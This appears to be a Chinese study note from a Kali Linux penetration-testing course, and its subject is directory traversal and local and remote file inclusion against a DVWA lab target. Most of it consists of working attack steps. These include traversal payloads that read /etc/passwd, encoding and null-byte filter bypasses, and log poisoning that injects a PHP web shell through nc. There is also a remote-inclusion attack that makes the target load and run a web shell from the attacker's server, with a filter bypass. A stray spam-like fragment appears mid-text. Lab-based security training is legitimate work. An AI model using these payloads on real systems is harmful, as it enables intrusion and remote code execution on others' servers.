本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 目录遍历和文件包含
1-1. 两种漏洞放在一起进行测试
1-2. 设置 dvwa 可以进行远程文件包含测试
1-3. 漏洞特征
1-4. 经典测试方法
1-5. 绕过字符过滤
1-6. cookie 注入目录遍历
1-7. 本地文件包含
1-8. 远程文件包含
2. 漏洞利用
3. 权限配置不当引起的本地文件包含漏洞
4. 远程文件包含漏洞
4-1. dvwa测试 Low 级别下的源代码
4-2. dvwa测试 Medium 级别下的源代码
4-3. dvwa测试 High 级别下的源代码
4-4. 远程文件包含漏洞的危害
5. kali 自带攻击向量的字典文件
1. 目录遍历和文件包含
1. 两种漏洞放在一起进行测试
kali linux 2018.1 : 10.10.10.131
dvwa:10.10.10.132
原理一样,放在一起进行测试
2. 设置 dvwa 可以进行远程文件包含测试
root@metasploitable:~# vim /etc/php5/cgi/php.ini
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = On
root@metasploitable:~# /etc/init.d/apache2 restart
3. 漏洞特征
应用程序操作文件,限制不严时导致访问Web目录以外的文件,包括读写文件和远程执行代码
特征但不绝对:
?page=a.php ?home=b.html ?file=content
4. 经典测试方法
- ?file=../../../../etc/passwd
- ?page=file:///etc/passwd
- ?home=main.cgi
- ?page=http://www.a.com/1.php
- http://1.1.1.1/../../../../dir/file.txt
5. 绕过字符过滤
“.” “%00” #绕过文件扩展名过滤
- ?file=a.doc%00.php
使用多种编码尝试
url 编码或者进行双层甚至三层 url 编码
- %2e%2e%2f 解码 ../
- %2e%2e%5c 解码 ..\
- %252e%252e%255c 解码 ..\
Unicode/UTF-8 解码
- ..%c0%af ?????? ../
- ..%u2216
- ..%c1%9c ?????? ..\
其他系统路径可能使用的字符
- file.txt…
- file.txt
- file.txt””””
- file.txt<<<>>><
- ./././file.txt
- nonexistant/../file.txt
UNC路径
- \1.1.1.1\path\to\file.txt
6. cookie 注入目录遍历
代码
攻击
结果
6. 本地文件包含
- 查看文件
代码执行
7. 远程文件包含
远程文件包含
- 出现概率少于本地文件包含,但是更容易被利用
/usr/share/wfuzz/wordlist/vulns/
2. 漏洞利用
默认的文件包含漏洞的 URL 地址:
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=include.php
可以使用 “?page=../../../../../../../etc/passwd”
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
文件包含漏洞可以使用绝对路径“?page=/etc/passwd”
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/etc/passwd
使用系统文件路径“?page=file:///etc/passwd”
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
远程目录遍历 “?page=http://www.sina.com”
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=http://www.sina.com
可以使用反弹 shell 的方式 “page=http://www.a.com/1.php”
绕过字符过滤 “?page=file:///etc/passwd%00”
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=file:///etc/passwd%00
绕过字符过滤 “%2e%2e%2f” 代替“../”
10.10.10.132/dvwa/vulnerabilities/fi/?page=..%2f..%2f..%2f..%2f..%2fetc/passwdaa
3. 权限配置不当引起的本地文件包含漏洞
修改 dvwa 的 access.log 权限,使其错误配置系统权限
root@metasploitable:/var/log/apache2# chmod a+rx access.log root@metasploitable:/var/log# chmod a+rx apache2 root@metasploitable:/var# chmod a+rx log root@metasploitable:/# chmod a+rx var
使用 nc 插入代码
root@kali:~/Desktop# nc -nv 10.10.10.132 80 (UNKNOWN) [10.10.10.132] 80 (http) open <?php echo shell_exec($_GET['cmd']);?>
浏览器测试
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log
http://10.10.10.132/dvwa/vulnerabilities/fi/?cmd=id&page=/var/log/apache2/access.log
http://10.10.10.132/dvwa/vulnerabilities/fi/?cmd=pwd&page=/var/log/apache2/access.log
hp index.php
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id
4. 远程文件包含漏洞
1. dvwa测试 Low 级别下的源代码
kali 本机监听 80 端口
root@kali:~# nc -nvlp 80 listening on [any] 80 ...
kali 浏览器 随便指定一个URL,IP地址为kali 本机
10.10.10.132/dvwa/vulnerabilities/fi/?page=http://10.10.10.131/a.php
nc 接收到请求
connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 36129 GET /a.php HTTP/1.0 Host: 10.10.10.131
查看 dvwa Low 级别下的源代码
<?php $file = $_GET['page']; //The page we wish to display ?>
2. dvwa测试 Medium 级别下的源代码
kali 本机监听 80 端口
root@kali:~# nc -nvlp 80 listening on [any] 80 ...
kali 浏览器 随便指定一个URL,IP地址为kali 本机
10.10.10.132/dvwa/vulnerabilities/fi/?page=http://10.10.10.131/a.php
nc 接收到请求
未接收到请求
查看 dvwa Medium 级别下的源代码,发现被过滤
<?php $file = $_GET['page']; // The page we wish to display // Bad input validation $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ?>
编码中是将 http:// 过滤为空字符(即删除)
可以利用此机制,使用两次 http:// ,将第二次插入到 http:// 中间 将 http:// 换位 htthttp://p://
kaili.org快来领取随便指定 URL,IP地址为kali 本机
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=hthttp://tp://10.10.10.131/
nc 接收到请求
root@kali:~# nc -nvlp 80 listening on [any] 80 ... connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 55014 GET / HTTP/1.0 Host: 10.10.10.131
3. dvwa测试 High 级别下的源代码
正确的代码 URL为
10.10.10.132/dvwa/vulnerabilities/fi/?page=include.php
查看 dvwa High 级别下的源代码
<?php $file = $_GET['page']; //The page we wish to display // Only allow include.php if ( $file != "include.php" ) { echo "ERROR: File not found!"; exit; } ?>
4. 远程文件包含漏洞的危害
在 kali 创建 文件,dvwa 在 Medium情况下
root@kali:/var/www/html# cat test.txt <?php echo shell_exec($_GET['cmd']);?>
kali 启动 apache2
root@kali:/var/www/html# systemctl start apache2.service
kali 浏览器
10.10.10.132/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.10.131/test.txt&cmd=pwd
kali 浏览器
http://10.10.10.132/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.10.131/test.txt&cmd=id
5. kali 自带攻击向量的字典文件
位置:
/usr/share/wfuzz/wordlist/
/usr/share/wfuzz/wordlist/vulns/